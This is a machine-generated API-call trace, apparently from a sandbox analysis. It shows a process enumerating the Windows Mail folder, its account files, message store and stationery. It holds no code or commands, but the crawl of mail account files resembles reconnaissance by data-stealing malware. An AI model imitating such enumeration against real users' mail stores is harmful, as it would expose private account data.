	[0082.388] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.388] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7b05332, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0082.390] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.390] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup"), fInfoLevelId=0x0, lpFileInformation=0x123a9188 | out: lpFileInformation=0x123a9188*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.391] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.392] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.392] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.392] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 1
	[0082.392] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.392] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new"), fInfoLevelId=0x0, lpFileInformation=0x123a9228 | out: lpFileInformation=0x123a9228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.392] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.392] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.393] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.393] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0082.394] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0082.394] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0082.394] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.394] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), fInfoLevelId=0x0, lpFileInformation=0x123a9368 | out: lpFileInformation=0x123a9368*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000)) returned 1
	[0082.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), fInfoLevelId=0x0, lpFileInformation=0x123a93b8 | out: lpFileInformation=0x123a93b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0082.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x123a9408 | out: lpFileInformation=0x123a9408*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000)) returned 1
	[0082.396] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x123a9458 | out: lpFileInformation=0x123a9458*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.396] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.396] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
